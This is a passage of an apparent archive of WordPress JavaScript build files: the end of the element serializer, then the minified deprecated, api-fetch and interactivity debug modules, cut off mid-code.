serializer in // `./serialize.js` unless there are non-children props present. return (0,external_React_namespaceObject.createElement)('div', { dangerouslySetInnerHTML: { __html: rawHtml }, ...props }); } ;// ./node_modules/@wordpress/element/build-module/serialize.js /** * Parts of this source were derived and modified from fast-react-render, * released under the MIT license. * * https://github.com/alt-j/fast-react-render * * Copyright (c) 2016 Andrey Morozov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('react').ReactElement} ReactElement */ const { Provider, Consumer } = (0,external_React_namespaceObject.createContext)(undefined); const ForwardRef = (0,external_React_namespaceObject.forwardRef)(() => { return null; }); /** * Valid attribute types. * * @type {Set<string>} */ const ATTRIBUTES_TYPES = new Set(['string', 'boolean', 'number']); /** * Element tags which can be self-closing. * * @type {Set<string>} */ const SELF_CLOSING_TAGS = new Set(['area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr']); /** * Boolean attributes are attributes whose presence as being assigned is * meaningful, even if only empty. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#boolean-attributes * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => tr.lastChild.textContent.indexOf( 'Boolean attribute' ) !== -1 ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * @type {Set<string>} */ const BOOLEAN_ATTRIBUTES = new Set(['allowfullscreen', 'allowpaymentrequest', 'allowusermedia', 'async', 'autofocus', 'autoplay', 'checked', 'controls', 'default', 'defer', 'disabled', 'download', 'formnovalidate', 'hidden', 'ismap', 'itemscope', 'loop', 'multiple', 'muted', 'nomodule', 'novalidate', 'open', 'playsinline', 'readonly', 'required', 'reversed', 'selected', 'typemustmatch']); /** * Enumerated attributes are attributes which must be of a specific value form. * Like boolean attributes, these are meaningful if specified, even if not of a * valid enumerated value. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#enumerated-attribute * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => /^("(.+?)";?\s*)+/.test( tr.lastChild.textContent.trim() ) ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * Some notable omissions: * * - `alt`: https://blog.whatwg.org/omit-alt * * @type {Set<string>} */ const ENUMERATED_ATTRIBUTES = new Set(['autocapitalize', 'autocomplete', 'charset', 'contenteditable', 'crossorigin', 'decoding', 'dir', 'draggable', 'enctype', 'formenctype', 'formmethod', 'http-equiv', 'inputmode', 'kind', 'method', 'preload', 'scope', 'shape', 'spellcheck', 'translate', 'type', 'wrap']); /** * Set of CSS style properties which support assignment of unitless numbers. * Used in rendering of style properties, where `px` unit is assumed unless * property is included in this set or value is zero. * * Generated via: * * Object.entries( document.createElement( 'div' ).style ) * .filter( ( [ key ] ) => ( * ! /^(webkit|ms|moz)/.test( key ) && * ( e.style[ key ] = 10 ) && * e.style[ key ] === '10' * ) ) * .map( ( [ key ] ) => key ) * .sort(); * * @type {Set<string>} */ const CSS_PROPERTIES_SUPPORTS_UNITLESS = new Set(['animation', 'animationIterationCount', 'baselineShift', 'borderImageOutset', 'borderImageSlice', 'borderImageWidth', 'columnCount', 'cx', 'cy', 'fillOpacity', 'flexGrow', 'flexShrink', 'floodOpacity', 'fontWeight', 'gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart', 'lineHeight', 'opacity', 'order', 'orphans', 'r', 'rx', 'ry', 'shapeImageThreshold', 'stopOpacity', 'strokeDasharray', 'strokeDashoffset', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'tabSize', 'widows', 'x', 'y', 'zIndex', 'zoom']); /** * Returns true if the specified string is prefixed by one of an array of * possible prefixes. * * @param {string} string String to check. * @param {string[]} prefixes Possible prefixes. * * @return {boolean} Whether string has prefix. */ function hasPrefix(string, prefixes) { return prefixes.some(prefix => string.indexOf(prefix) === 0); } /** * Returns true if the given prop name should be ignored in attributes * serialization, or false otherwise. * * @param {string} attribute Attribute to check. * * @return {boolean} Whether attribute should be ignored. */ function isInternalAttribute(attribute) { return 'key' === attribute || 'children' === attribute; } /** * Returns the normal form of the element's attribute value for HTML. * * @param {string} attribute Attribute name. * @param {*} value Non-normalized attribute value. * * @return {*} Normalized attribute value. */ function getNormalAttributeValue(attribute, value) { switch (attribute) { case 'style': return renderStyle(value); } return value; } /** * This is a map of all SVG attributes that have dashes. Map(lower case prop => dashed lower case attribute). * We need this to render e.g strokeWidth as stroke-width. * * List from: https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute. */ const SVG_ATTRIBUTE_WITH_DASHES_LIST = ['accentHeight', 'alignmentBaseline', 'arabicForm', 'baselineShift', 'capHeight', 'clipPath', 'clipRule', 'colorInterpolation', 'colorInterpolationFilters', 'colorProfile', 'colorRendering', 'dominantBaseline', 'enableBackground', 'fillOpacity', 'fillRule', 'floodColor', 'floodOpacity', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontWeight', 'glyphName', 'glyphOrientationHorizontal', 'glyphOrientationVertical', 'horizAdvX', 'horizOriginX', 'imageRendering', 'letterSpacing', 'lightingColor', 'markerEnd', 'markerMid', 'markerStart', 'overlinePosition', 'overlineThickness', 'paintOrder', 'panose1', 'pointerEvents', 'renderingIntent', 'shapeRendering', 'stopColor', 'stopOpacity', 'strikethroughPosition', 'strikethroughThickness', 'strokeDasharray', 'strokeDashoffset', 'strokeLinecap', 'strokeLinejoin', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'textAnchor', 'textDecoration', 'textRendering', 'underlinePosition', 'underlineThickness', 'unicodeBidi', 'unicodeRange', 'unitsPerEm', 'vAlphabetic', 'vHanging', 'vIdeographic', 'vMathematical', 'vectorEffect', 'vertAdvY', 'vertOriginX', 'vertOriginY', 'wordSpacing', 'writingMode', 'xmlnsXlink', 'xHeight'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all case-sensitive SVG attributes. Map(lowercase key => proper case attribute). * The keys are lower-cased for more robust lookup. * Note that this list only contains attributes that contain at least one capital letter. * Lowercase attributes don't need mapping, since we lowercase all attributes by default. */ const CASE_SENSITIVE_SVG_ATTRIBUTES = ['allowReorder', 'attributeName', 'attributeType', 'autoReverse', 'baseFrequency', 'baseProfile', 'calcMode', 'clipPathUnits', 'contentScriptType', 'contentStyleType', 'diffuseConstant', 'edgeMode', 'externalResourcesRequired', 'filterRes', 'filterUnits', 'glyphRef', 'gradientTransform', 'gradientUnits', 'kernelMatrix', 'kernelUnitLength', 'keyPoints', 'keySplines', 'keyTimes', 'lengthAdjust', 'limitingConeAngle', 'markerHeight', 'markerUnits', 'markerWidth', 'maskContentUnits', 'maskUnits', 'numOctaves', 'pathLength', 'patternContentUnits', 'patternTransform', 'patternUnits', 'pointsAtX', 'pointsAtY', 'pointsAtZ', 'preserveAlpha', 'preserveAspectRatio', 'primitiveUnits', 'refX', 'refY', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'specularConstant', 'specularExponent', 'spreadMethod', 'startOffset', 'stdDeviation', 'stitchTiles', 'suppressContentEditableWarning', 'suppressHydrationWarning', 'surfaceScale', 'systemLanguage', 'tableValues', 'targetX', 'targetY', 'textLength', 'viewBox', 'viewTarget', 'xChannelSelector', 'yChannelSelector'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all SVG attributes that have colons. * Keys are lower-cased and stripped of their colons for more robust lookup. */ const SVG_ATTRIBUTES_WITH_COLONS = ['xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'xmlns:xlink'].reduce((map, attribute) => { map[attribute.replace(':', '').toLowerCase()] = attribute; return map; }, {}); /** * Returns the normal form of the element's attribute name for HTML. * * @param {string} attribute Non-normalized attribute name. * * @return {string} Normalized attribute name. */ function getNormalAttributeName(attribute) { switch (attribute) { case 'htmlFor': return 'for'; case 'className': return 'class'; } const attributeLowerCase = attribute.toLowerCase(); if (CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]) { return CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]; } else if (SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]) { return paramCase(SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]); } else if (SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]) { return SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]; } return attributeLowerCase; } /** * Returns the normal form of the style property name for HTML. * * - Converts property names to kebab-case, e.g. 'backgroundColor' → 'background-color' * - Leaves custom attributes alone, e.g. '--myBackgroundColor' → '--myBackgroundColor' * - Converts vendor-prefixed property names to -kebab-case, e.g. 'MozTransform' → '-moz-transform' * * @param {string} property Property name. * * @return {string} Normalized property name. */ function getNormalStylePropertyName(property) { if (property.startsWith('--')) { return property; } if (hasPrefix(property, ['ms', 'O', 'Moz', 'Webkit'])) { return '-' + paramCase(property); } return paramCase(property); } /** * Returns the normal form of the style property value for HTML. Appends a * default pixel unit if numeric, not a unitless property, and not zero. * * @param {string} property Property name. * @param {*} value Non-normalized property value. * * @return {*} Normalized property value. */ function getNormalStylePropertyValue(property, value) { if (typeof value === 'number' && 0 !== value && !CSS_PROPERTIES_SUPPORTS_UNITLESS.has(property)) { return value + 'px'; } return value; } /** * Serializes a React element to string. * * @param {import('react').ReactNode} element Element to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderElement(element, context, legacyContext = {}) { if (null === element || undefined === element || false === element) { return ''; } if (Array.isArray(element)) { return renderChildren(element, context, legacyContext); } switch (typeof element) { case 'string': return (0,external_wp_escapeHtml_namespaceObject.escapeHTML)(element); case 'number': return element.toString(); } const { type, props } = /** @type {{type?: any, props?: any}} */ element; switch (type) { case external_React_namespaceObject.StrictMode: case external_React_namespaceObject.Fragment: return renderChildren(props.children, context, legacyContext); case RawHTML: const { children, ...wrapperProps } = props; return renderNativeComponent(!Object.keys(wrapperProps).length ? null : 'div', { ...wrapperProps, dangerouslySetInnerHTML: { __html: children } }, context, legacyContext); } switch (typeof type) { case 'string': return renderNativeComponent(type, props, context, legacyContext); case 'function': if (type.prototype && typeof type.prototype.render === 'function') { return renderComponent(type, props, context, legacyContext); } return renderElement(type(props, legacyContext), context, legacyContext); } switch (type && type.$$typeof) { case Provider.$$typeof: return renderChildren(props.children, props.value, legacyContext); case Consumer.$$typeof: return renderElement(props.children(context || type._currentValue), context, legacyContext); case ForwardRef.$$typeof: return renderElement(type.render(props), context, legacyContext); } return ''; } /** * Serializes a native component type to string. * * @param {?string} type Native component type to serialize, or null if * rendering as fragment of children content. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderNativeComponent(type, props, context, legacyContext = {}) { let content = ''; if (type === 'textarea' && props.hasOwnProperty('value')) { // Textarea children can be assigned as value prop. If it is, render in // place of children. Ensure to omit so it is not assigned as attribute // as well. content = renderChildren(props.value, context, legacyContext); const { value, ...restProps } = props; props = restProps; } else if (props.dangerouslySetInnerHTML && typeof props.dangerouslySetInnerHTML.__html === 'string') { // Dangerous content is left unescaped. content = props.dangerouslySetInnerHTML.__html; } else if (typeof props.children !== 'undefined') { content = renderChildren(props.children, context, legacyContext); } if (!type) { return content; } const attributes = renderAttributes(props); if (SELF_CLOSING_TAGS.has(type)) { return '<' + type + attributes + '/>'; } return '<' + type + attributes + '>' + content + '</' + type + '>'; } /** @typedef {import('react').ComponentType} ComponentType */ /** * Serializes a non-native component type to string. * * @param {ComponentType} Component Component type to serialize. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element */ function renderComponent(Component, props, context, legacyContext = {}) { const instance = new (/** @type {import('react').ComponentClass} */ Component)(props, legacyContext); if (typeof // Ignore reason: Current prettier reformats parens and mangles type assertion // prettier-ignore /** @type {{getChildContext?: () => unknown}} */ instance.getChildContext === 'function') { Object.assign(legacyContext, /** @type {{getChildContext?: () => unknown}} */instance.getChildContext()); } const html = renderElement(instance.render(), context, legacyContext); return html; } /** * Serializes an array of children to string. * * @param {import('react').ReactNodeArray} children Children to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized children. */ function renderChildren(children, context, legacyContext = {}) { let result = ''; children = Array.isArray(children) ? children : [children]; for (let i = 0; i < children.length; i++) { const child = children[i]; result += renderElement(child, context, legacyContext); } return result; } /** * Renders a props object as a string of HTML attributes. * * @param {Object} props Props object. * * @return {string} Attributes string. */ function renderAttributes(props) { let result = ''; for (const key in props) { const attribute = getNormalAttributeName(key); if (!(0,external_wp_escapeHtml_namespaceObject.isValidAttributeName)(attribute)) { continue; } let value = getNormalAttributeValue(key, props[key]); // If value is not of serializable type, skip. if (!ATTRIBUTES_TYPES.has(typeof value)) { continue; } // Don't render internal attribute names. if (isInternalAttribute(key)) { continue; } const isBooleanAttribute = BOOLEAN_ATTRIBUTES.has(attribute); // Boolean attribute should be omitted outright if its value is false. if (isBooleanAttribute && value === false) { continue; } const isMeaningfulAttribute = isBooleanAttribute || hasPrefix(key, ['data-', 'aria-']) || ENUMERATED_ATTRIBUTES.has(attribute); // Only write boolean value as attribute if meaningful. if (typeof value === 'boolean' && !isMeaningfulAttribute) { continue; } result += ' ' + attribute; // Boolean attributes should write attribute name, but without value. // Mere presence of attribute name is effective truthiness. if (isBooleanAttribute) { continue; } if (typeof value === 'string') { value = (0,external_wp_escapeHtml_namespaceObject.escapeAttribute)(value); } result += '="' + value + '"'; } return result; } /** * Renders a style object as a string attribute value. * * @param {Object} style Style object. * * @return {string} Style attribute value. */ function renderStyle(style) { // Only generate from object, e.g. tolerate string value. if (!isPlainObject(style)) { return style; } let result; for (const property in style) { const value = style[property]; if (null === value || undefined === value) { continue; } if (result) { result += ';'; } else { result = ''; } const normalName = getNormalStylePropertyName(property); const normalValue = getNormalStylePropertyValue(property, value); result += normalName + ':' + normalValue; } return result; } /* harmony default export */ const serialize = (renderElement); ;// ./node_modules/@wordpress/element/build-module/index.js (window.wp = window.wp || {}).element = __webpack_exports__; /******/ })() ; deprecated.min.js 0000664 00000001254 15061233506 0007771 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={d:(n,o)=>{for(var t in o)e.o(o,t)&&!e.o(n,t)&&Object.defineProperty(n,t,{enumerable:!0,get:o[t]})},o:(e,n)=>Object.prototype.hasOwnProperty.call(e,n)},n={};e.d(n,{default:()=>i});const o=window.wp.hooks,t=Object.create(null);function i(e,n={}){const{since:i,version:r,alternative:d,plugin:a,link:c,hint:s}=n,l=`${e} is deprecated${i?` since version ${i}`:""}${r?` and will be removed${a?` from ${a}`:""} in version ${r}`:""}.${d?` Please use ${d} instead.`:""}${c?` See: ${c}`:""}${s?` Note: ${s}`:""}`;l in t||((0,o.doAction)("deprecated",e,n,l),console.warn(l),t[l]=!0)}(window.wp=window.wp||{}).deprecated=n.default})(); api-fetch.min.js 0000664 00000013316 15061233506 0007533 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={d:(r,t)=>{for(var n in t)e.o(t,n)&&!e.o(r,n)&&Object.defineProperty(r,n,{enumerable:!0,get:t[n]})},o:(e,r)=>Object.prototype.hasOwnProperty.call(e,r)},r={};e.d(r,{default:()=>T});const t=window.wp.i18n;const n=function(e){const r=(e,t)=>{const{headers:n={}}=e;for(const o in n)if("x-wp-nonce"===o.toLowerCase()&&n[o]===r.nonce)return t(e);return t({...e,headers:{...n,"X-WP-Nonce":r.nonce}})};return r.nonce=e,r},o=(e,r)=>{let t,n,o=e.path;return"string"==typeof e.namespace&&"string"==typeof e.endpoint&&(t=e.namespace.replace(/^\/|\/$/g,""),n=e.endpoint.replace(/^\//,""),o=n?t+"/"+n:t),delete e.namespace,delete e.endpoint,r({...e,path:o})},a=e=>(r,t)=>o(r,(r=>{let n,o=r.url,a=r.path;return"string"==typeof a&&(n=e,-1!==e.indexOf("?")&&(a=a.replace("?","&")),a=a.replace(/^\//,""),"string"==typeof n&&-1!==n.indexOf("?")&&(a=a.replace("?","&")),o=n+a),t({...r,url:o})})),s=window.wp.url;function i(e,r){if(r)return Promise.resolve(e.body);try{return Promise.resolve(new window.Response(JSON.stringify(e.body),{status:200,statusText:"OK",headers:e.headers}))}catch{return Object.entries(e.headers).forEach((([r,t])=>{"link"===r.toLowerCase()&&(e.headers[r]=t.replace(/<([^>]+)>/,((e,r)=>`<${encodeURI(r)}>`)))})),Promise.resolve(r?e.body:new window.Response(JSON.stringify(e.body),{status:200,statusText:"OK",headers:e.headers}))}}const c=function(e){const r=Object.fromEntries(Object.entries(e).map((([e,r])=>[(0,s.normalizePath)(e),r])));return(e,t)=>{const{parse:n=!0}=e;let o=e.path;if(!o&&e.url){const{rest_route:r,...t}=(0,s.getQueryArgs)(e.url);"string"==typeof r&&(o=(0,s.addQueryArgs)(r,t))}if("string"!=typeof o)return t(e);const a=e.method||"GET",c=(0,s.normalizePath)(o);if("GET"===a&&r[c]){const e=r[c];return delete r[c],i(e,!!n)}if("OPTIONS"===a&&r[a]&&r[a][c]){const e=r[a][c];return delete r[a][c],i(e,!!n)}return t(e)}},d=({path:e,url:r,...t},n)=>({...t,url:r&&(0,s.addQueryArgs)(r,n),path:e&&(0,s.addQueryArgs)(e,n)}),p=e=>e.json?e.json():Promise.reject(e),u=e=>{const{next:r}=(e=>{if(!e)return{};const r=e.match(/<([^>]+)>; rel="next"/);return r?{next:r[1]}:{}})(e.headers.get("link"));return r},h=async(e,r)=>{if(!1===e.parse)return r(e);if(!(e=>{const r=!!e.path&&-1!==e.path.indexOf("per_page=-1"),t=!!e.url&&-1!==e.url.indexOf("per_page=-1");return r||t})(e))return r(e);const t=await T({...d(e,{per_page:100}),parse:!1}),n=await p(t);if(!Array.isArray(n))return n;let o=u(t);if(!o)return n;let a=[].concat(n);for(;o;){const r=await T({...e,path:void 0,url:o,parse:!1}),t=await p(r);a=a.concat(t),o=u(r)}return a},l=new Set(["PATCH","PUT","DELETE"]),w="GET",f=(e,r=!0)=>Promise.resolve(((e,r=!0)=>r?204===e.status?null:e.json?e.json():Promise.reject(e):e)(e,r)).catch((e=>m(e,r)));function m(e,r=!0){if(!r)throw e;return(e=>{const r={code:"invalid_json",message:(0,t.__)("The response is not a valid JSON response.")};if(!e||!e.json)throw r;return e.json().catch((()=>{throw r}))})(e).then((e=>{const r={code:"unknown_error",message:(0,t.__)("An unknown error occurred.")};throw e||r}))}const g=(e,r)=>{if(!function(e){const r=!!e.method&&"POST"===e.method;return(!!e.path&&-1!==e.path.indexOf("/wp/v2/media")||!!e.url&&-1!==e.url.indexOf("/wp/v2/media"))&&r}(e))return r(e);let n=0;const o=e=>(n++,r({path:`/wp/v2/media/${e}/post-process`,method:"POST",data:{action:"create-image-subsizes"},parse:!1}).catch((()=>n<5?o(e):(r({path:`/wp/v2/media/${e}?force=true`,method:"DELETE"}),Promise.reject()))));return r({...e,parse:!1}).catch((r=>{if(!r.headers)return Promise.reject(r);const n=r.headers.get("x-wp-upload-attachment-id");return r.status>=500&&r.status<600&&n?o(n).catch((()=>!1!==e.parse?Promise.reject({code:"post_process",message:(0,t.__)("Media upload failed. If this is a photo or a large image, please scale it down and try again.")}):Promise.reject(r))):m(r,e.parse)})).then((r=>f(r,e.parse)))},y=e=>(r,t)=>{if("string"==typeof r.url){const t=(0,s.getQueryArg)(r.url,"wp_theme_preview");void 0===t?r.url=(0,s.addQueryArgs)(r.url,{wp_theme_preview:e}):""===t&&(r.url=(0,s.removeQueryArgs)(r.url,"wp_theme_preview"))}if("string"==typeof r.path){const t=(0,s.getQueryArg)(r.path,"wp_theme_preview");void 0===t?r.path=(0,s.addQueryArgs)(r.path,{wp_theme_preview:e}):""===t&&(r.path=(0,s.removeQueryArgs)(r.path,"wp_theme_preview"))}return t(r)},_={Accept:"application/json, */*;q=0.1"},v={credentials:"include"},P=[(e,r)=>("string"!=typeof e.url||(0,s.hasQueryArg)(e.url,"_locale")||(e.url=(0,s.addQueryArgs)(e.url,{_locale:"user"})),"string"!=typeof e.path||(0,s.hasQueryArg)(e.path,"_locale")||(e.path=(0,s.addQueryArgs)(e.path,{_locale:"user"})),r(e)),o,(e,r)=>{const{method:t=w}=e;return l.has(t.toUpperCase())&&(e={...e,headers:{...e.headers,"X-HTTP-Method-Override":t,"Content-Type":"application/json"},method:"POST"}),r(e)},h];const O=e=>{if(e.status>=200&&e.status<300)return e;throw e};let j=e=>{const{url:r,path:n,data:o,parse:a=!0,...s}=e;let{body:i,headers:c}=e;c={..._,...c},o&&(i=JSON.stringify(o),c["Content-Type"]="application/json");return window.fetch(r||n||window.location.href,{...v,...s,body:i,headers:c}).then((e=>Promise.resolve(e).then(O).catch((e=>m(e,a))).then((e=>f(e,a)))),(e=>{if(e&&"AbortError"===e.name)throw e;throw{code:"fetch_error",message:(0,t.__)("You are probably offline.")}}))};function A(e){return P.reduceRight(((e,r)=>t=>r(t,e)),j)(e).catch((r=>"rest_cookie_invalid_nonce"!==r.code?Promise.reject(r):window.fetch(A.nonceEndpoint).then(O).then((e=>e.text())).then((r=>(A.nonceMiddleware.nonce=r,A(e))))))}A.use=function(e){P.unshift(e)},A.setFetchHandler=function(e){j=e},A.createNonceMiddleware=n,A.createPreloadingMiddleware=c,A.createRootURLMiddleware=a,A.fetchAllMiddleware=h,A.mediaUploadMiddleware=g,A.createThemePreviewMiddleware=y;const T=A;(window.wp=window.wp||{}).apiFetch=r.default})(); script-modules/interactivity/debug.min.js 0000664 00000135423 15061233506 0014635 0 ustar 00 var e={380:(e,t,n)=>{n.d(t,{zj:()=>pt,SD:()=>ve,V6:()=>ye,$K:()=>me,vT:()=>ht,jb:()=>qt,yT:()=>we,M_:()=>vt,hb:()=>Oe,vJ:()=>Ee,ip:()=>xe,Nf:()=>Te,Kr:()=>Pe,li:()=>b,J0:()=>m,FH:()=>Se,v4:()=>ke,mh:()=>Ne});var r,o,i,s,a=n(622),u=0,c=[],l=a.fF,f=l.__b,_=l.__r,p=l.diffed,h=l.__c,d=l.unmount,v=l.__;function y(e,t){l.__h&&l.__h(o,e,u||t),u=0;var n=o.__H||(o.__H={__:[],__h:[]});return e>=n.__.length&&n.__.push({}),n.__[e]}function m(e){return u=1,function(e,t,n){var i=y(r++,2);if(i.t=e,!i.__c&&(i.__=[n?n(t):N(void 0,t),function(e){var t=i.__N?i.__N[0]:i.__[0],n=i.t(t,e);t!==n&&(i.__N=[n,i.__[1]],i.__c.setState({}))}],i.__c=o,!o.__f)){var s=function(e,t,n){if(!i.__c.__H)return!0;var r=i.__c.__H.__.filter((function(e){return!!e.__c}));if(r.every((function(e){return!e.__N})))return!a||a.call(this,e,t,n);var o=i.__c.props!==e;return r.forEach((function(e){if(e.__N){var t=e.__[0];e.__=e.__N,e.__N=void 0,t!==e.__[0]&&(o=!0)}})),a&&a.call(this,e,t,n)||o};o.__f=!0;var a=o.shouldComponentUpdate,u=o.componentWillUpdate;o.componentWillUpdate=function(e,t,n){if(this.__e){var r=a;a=void 0,s(e,t,n),a=r}u&&u.call(this,e,t,n)},o.shouldComponentUpdate=s}return i.__N||i.__}(N,e)}function g(e,t){var n=y(r++,3);!l.__s&&C(n.__H,t)&&(n.__=e,n.u=t,o.__H.__h.push(n))}function w(e,t){var n=y(r++,4);!l.__s&&C(n.__H,t)&&(n.__=e,n.u=t,o.__h.push(n))}function b(e){return u=5,k((function(){return{current:e}}),[])}function k(e,t){var n=y(r++,7);return C(n.__H,t)&&(n.__=e(),n.__H=t,n.__h=e),n.__}function S(e,t){return u=8,k((function(){return e}),t)}function x(e){var t=o.context[e.__c],n=y(r++,9);return n.c=e,t?(null==n.__&&(n.__=!0,t.sub(o)),t.props.value):e.__}function E(){for(var e;e=c.shift();)if(e.__P&&e.__H)try{e.__H.__h.forEach(P),e.__H.__h.forEach(F),e.__H.__h=[]}catch(t){e.__H.__h=[],l.__e(t,e.__v)}}l.__b=function(e){o=null,f&&f(e)},l.__=function(e,t){e&&t.__k&&t.__k.__m&&(e.__m=t.__k.__m),v&&v(e,t)},l.__r=function(e){_&&_(e),r=0;var t=(o=e.__c).__H;t&&(i===o?(t.__h=[],o.__h=[],t.__.forEach((function(e){e.__N&&(e.__=e.__N),e.u=e.__N=void 0}))):(t.__h.forEach(P),t.__h.forEach(F),t.__h=[],r=0)),i=o},l.diffed=function(e){p&&p(e);var t=e.__c;t&&t.__H&&(t.__H.__h.length&&(1!==c.push(t)&&s===l.requestAnimationFrame||((s=l.requestAnimationFrame)||O)(E)),t.__H.__.forEach((function(e){e.u&&(e.__H=e.u),e.u=void 0}))),i=o=null},l.__c=function(e,t){t.some((function(e){try{e.__h.forEach(P),e.__h=e.__h.filter((function(e){return!e.__||F(e)}))}catch(n){t.some((function(e){e.__h&&(e.__h=[])})),t=[],l.__e(n,e.__v)}})),h&&h(e,t)},l.unmount=function(e){d&&d(e);var t,n=e.__c;n&&n.__H&&(n.__H.__.forEach((function(e){try{P(e)}catch(e){t=e}})),n.__H=void 0,t&&l.__e(t,n.__v))};var T="function"==typeof requestAnimationFrame;function O(e){var t,n=function(){clearTimeout(r),T&&cancelAnimationFrame(t),setTimeout(e)},r=setTimeout(n,100);T&&(t=requestAnimationFrame(n))}function P(e){var t=o,n=e.__c;"function"==typeof n&&(e.__c=void 0,n()),o=t}function F(e){var t=o;e.__c=e.__(),o=t}function C(e,t){return!e||e.length!==t.length||t.some((function(t,n){return t!==e[n]}))}function N(e,t){return"function"==typeof t?t(e):t}var j=Symbol.for("preact-signals");function M(){if(W>1)W--;else{for(var e,t=!1;void 0!==A;){var n=A;for(A=void 0,D++;void 0!==n;){var r=n.o;if(n.o=void 0,n.f&=-3,!(8&n.f)&&V(n))try{n.c()}catch(n){t||(e=n,t=!0)}n=r}}if(D=0,W--,t)throw e}}function $(e){if(W>0)return e();W++;try{return e()}finally{M()}}var H=void 0;var U,A=void 0,W=0,D=0,L=0;function I(e){if(void 0!==H){var t=e.n;if(void 0===t||t.t!==H)return t={i:0,S:e,p:H.s,n:void 0,t:H,e:void 0,x:void 0,r:t},void 0!==H.s&&(H.s.n=t),H.s=t,e.n=t,32&H.f&&e.S(t),t;if(-1===t.i)return t.i=0,void 0!==t.n&&(t.n.p=t.p,void 0!==t.p&&(t.p.n=t.n),t.p=H.s,t.n=void 0,H.s.n=t,H.s=t),t}}function R(e){this.v=e,this.i=0,this.n=void 0,this.t=void 0}function z(e){return new R(e)}function V(e){for(var t=e.s;void 0!==t;t=t.n)if(t.S.i!==t.i||!t.S.h()||t.S.i!==t.i)return!0;return!1}function B(e){for(var t=e.s;void 0!==t;t=t.n){var n=t.S.n;if(void 0!==n&&(t.r=n),t.S.n=t,t.i=-1,void 0===t.n){e.s=t;break}}}function J(e){for(var t=e.s,n=void 0;void 0!==t;){var r=t.p;-1===t.i?(t.S.U(t),void 0!==r&&(r.n=t.n),void 0!==t.n&&(t.n.p=r)):n=t,t.S.n=t.r,void 0!==t.r&&(t.r=void 0),t=r}e.s=n}function K(e){R.call(this,void 0),this.x=e,this.s=void 0,this.g=L-1,this.f=4}function q(e){return new K(e)}function Y(e){var t=e.u;if(e.u=void 0,"function"==typeof t){W++;var n=H;H=void 0;try{t()}catch(t){throw e.f&=-2,e.f|=8,X(e),t}finally{H=n,M()}}}function X(e){for(var t=e.s;void 0!==t;t=t.n)t.S.U(t);e.x=void 0,e.s=void 0,Y(e)}function G(e){if(H!==this)throw new Error("Out-of-order effect");J(this),H=e,this.f&=-2,8&this.f&&X(this),M()}function Q(e){this.x=e,this.u=void 0,this.s=void 0,this.o=void 0,this.f=32}function Z(e){var t=new Q(e);try{t.c()}catch(e){throw t.d(),e}return t.d.bind(t)}function ee(e,t){a.fF[e]=t.bind(null,a.fF[e]||function(){})}function te(e){U&&U(),U=e&&e.S()}function ne(e){var t=this,n=e.data,r=function(e){return k((function(){return z(e)}),[])}(n);r.value=n;var o=k((function(){for(var e=t.__v;e=e.__;)if(e.__c){e.__c.__$f|=4;break}return t.__$u.c=function(){var 